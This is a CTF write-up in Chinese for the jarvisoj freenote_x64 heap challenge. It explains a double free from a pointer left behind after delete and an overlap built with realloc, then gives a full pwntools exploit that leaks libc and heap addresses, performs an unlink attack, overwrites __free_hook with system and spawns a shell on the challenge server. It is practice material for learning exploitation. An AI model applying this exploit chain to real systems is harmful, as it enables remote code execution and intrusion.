jarvisoj_freenote_x64

jarvisoj_freenote_x64

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,delete功能清空了标记但是,没有清空指针,使得可以多次free。

由于清空了标记,因此这个UAF只能用来double free。

用于输入的函数会输完a2个字符为止,会将堆里的指针覆盖掉,因此也无法直接泄露地址。

由此想到的方法就是构造overlap chunk,我们注意到edit函数里使用了realloc函数

realloc会重新分配堆空间,如果后一个chunk处于unsorted bin,会合并进来后再切割。因此,如果后一个chunk的指针保留在堆指针数组里,然后我们realloc当前的chunk,就可以把后一个chunk包含进来,进而可以泄露下一个chunk的里保留的地址信息,然后就是伪造下一个chunk的头,利用UAF再次释放下一个chunk,unlink后控制堆指针数组。

#coding:utf8
from pwn import *

#sh = process('./freenote_x64')
sh = remote('node3.buuoj.cn',27557)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
system_s = libc.sym['system']
binsh_s = libc.search('/bin/sh').next()

def show():
   sh.sendlineafter('Your choice:','1')

def add(size,content):
   sh.sendlineafter('Your choice:','2')
   sh.sendlineafter('Length of new note:',str(size))
   sh.sendafter('Enter your note:',content)

def edit(index,size,content):
   sh.sendlineafter('Your choice:','3')
   sh.sendlineafter('Note number:',str(index))
   sh.sendlineafter('Length of note:',str(size))
   sh.sendafter('Enter your note:',content)

def delete(index):
   sh.sendlineafter('Your choice:','4')
   sh.sendlineafter('Note number:',str(index))

#0
add(0x80,'a'*0x80)
#1
add(0x80,'b'*0x80)
#2
add(0x80,'c'*0x80)
#3
add(0x80,'d'*0x80)

#将1、2释放
delete(1)
delete(2)
#realloc将1包含到0里去,这样,我们就可以读取1里的数据
#这里实际realloc的大小为0x100,而只需要输入0x90,所以可以泄露后面1的fd的内容
edit(0,0x90,'a'*0x90)
#libc地址
show()
sh.recvuntil('a'*0x90)
main_arena_88 = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + system_s
binsh_addr = libc_base + binsh_s
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'system_addr=',hex(system_addr)
#在1、2中伪造fastbin chunk用于泄露堆地址
fake_chunk = p64(0) + p64(0x21)
fake_chunk += 'a'*0x10
payload = 'a'*0x80
payload += fake_chunk*2
payload = payload.ljust(0x118,'a')
#3的size的prev_inuse设置为1,因为unlink时要检查
payload += p64(0x21)
payload = payload.ljust(0x180,'a')
edit(0,0x180,payload)
#1链入fastbin
delete(1)
#利用同样的方法,泄露出1的fd数据
edit(0,0x90,'a'*0x90)
show()
show()
sh.recvuntil('a'*0x90)
heap_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
heap_0_ptr_addr = heap_addr - 0x1980
print 'heap_0_ptr_addr=',hex(heap_0_ptr_addr)
#在0中伪造chunk
fake_chunk = p64(0) + p64(0x81)
#fd、bk
fake_chunk += p64(heap_0_ptr_addr - 0x18) + p64(heap_0_ptr_addr - 0x10)
payload = fake_chunk.ljust(0x80,'a')
#修改1中的头
payload += p64(0x80) + p64(0x90)
payload = payload.ljust(0x100,'a')
edit(0,0x100,payload)
#unlink
delete(1)
#现在可以控制堆指针数组了
payload = p64(10)
payload += p64(1) + p64(0x8) + p64(free_hook_addr)
payload += p64(1) + p64(0x8) + p64(binsh_addr)
payload = payload.ljust(0x100,'\x00')
edit(0,0x100,payload)
#改写free_hook
edit(0,0x8,p64(system_addr))
#getshell
delete(1)

sh.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章